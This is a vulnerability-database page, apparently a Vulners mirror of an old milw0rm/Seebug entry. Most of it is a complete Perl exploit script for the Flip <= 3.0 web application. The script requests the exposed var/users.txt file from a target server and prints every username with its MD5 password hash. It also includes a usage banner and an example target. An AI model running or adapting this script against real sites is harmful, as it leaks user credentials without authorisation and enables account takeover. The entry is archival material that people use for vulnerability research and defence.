Lucene search
K

Flip <= 3.0 - Remote Password Hash Disclosure Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 6 Views

Flip <= 3.0 Remote Password Hash Disclosure Exploi

Code

                                                #!/usr/bin/perl

use strict; 
use IO::Socket;

my $app = &#34;Flip &#60;= 3.0&#34;;
my $type = &#34;Passwords Hash Disclosure&#34;;
my $author = &#34;undefined1_&#34;;
my $vendor = &#34;http://sourceforge.net/projects/flipsource&#34;;

banner();
my $server = shift || usage();
my $port = shift || usage();

if($server =~ /http:\/\//)
{
	$server = substr($server,7);
}

my $path = &#34;/&#34;;
if(index($server, &#34;/&#34;) != -1)
{
	$path = substr($server, index($server, &#34;/&#34;));
	$server = substr($server, 0, index($server, &#34;/&#34;));
	if(substr($path, length($path)-1) ne &#34;/&#34;) {
		$path .= &#34;/&#34;;
	}
}

my $data = get($server, $port, $path.&#34;var/users.txt&#34;, &#34;&#34;);
fail() unless $data !~ /404 Not Found/;
my $index1 = index($data, &#34;\r\n\r\n&#34;);
fail() unless $index1 &#62;= 0;

$data = substr($data, $index1+4);
$index1 = 0;
printf (&#34;%-20s %-32s\n&#34;, &#34;username&#34;, &#34;md5 hash&#34;);
while(($index1 = index($data, &#34;\n&#34;)) &#62;= 0)
{	
	my $hash = substr($data, 0, 32);
	my $index2 = index($data, &#34;][&#34;);
	my $index3 = index($data, &#34;][&#34;, $index2+2);
	my $user = &#34;&#34;;
	if($index2 &#62;= 0 && $index3 &#62;= 0)
	{
		$user = substr($data, $index2+2, $index3-($index2+2));
	}
	printf (&#34;%-20s %-32s\n&#34;, $user, $hash);
	$data = substr($data, $index1+1);
}

###################

sub get(\$,\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $page = shift;
	my $cookies = shift;
	my $query = &#34;GET $page HTTP/1.1\r\n&#34;;
	if($port != 80)
	{
		$query .= &#34;Host: $server:$port\r\n&#34;;
	}
	else
	{
		$query .= &#34;Host: $server\r\n&#34;;
	}

	$query .= &#34;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= &#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&#34;;
	$query .= &#34;Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3\r\n&#34;;
	$query .= &#34;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n&#34;;	
	
	if(length($cookies))
	{
		$query .= &#34;Cookie: &#34;.$cookies.&#34;\r\n&#34;;
	}			

	$query .= &#34;\r\n&#34;;
	return sendpacket($server, $port, $query);
}





sub sendpacket(\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $query = shift;
	my $sock = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, 
				PeerAddr =&#62; $server, PeerPort =&#62; $port) 
				or die &#34;[-] Could not connect to $server:$port $!\n&#34;;
	print $sock $query;
	my $data = &#34;&#34;;
	my $answer;
	while($answer = &#60;$sock&#62;)
	{
		$data .= $answer;
	}

	close($sock);
	return $data;
}



###################



sub fail() {
	print &#34;[-] exploit failed\n&#34;;
	exit;
}



sub banner() {
	print &#34;:: Flip &#60;= 3.0 password hash disclosure exploit\n&#34;;
	print &#34;:: by undefined1_ @ www.undef1.com\n\n\n&#34;;
}



sub usage() {
	print &#34;usage  : ./flip_pass.pl &#60;target&#62; &#60;port&#62;\n&#34;;
	print &#34;example: ./flip_pass.pl www.abcd.com/flip/ 80\n&#34;;
	exit;
}

# milw0rm.com [2007-09-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
6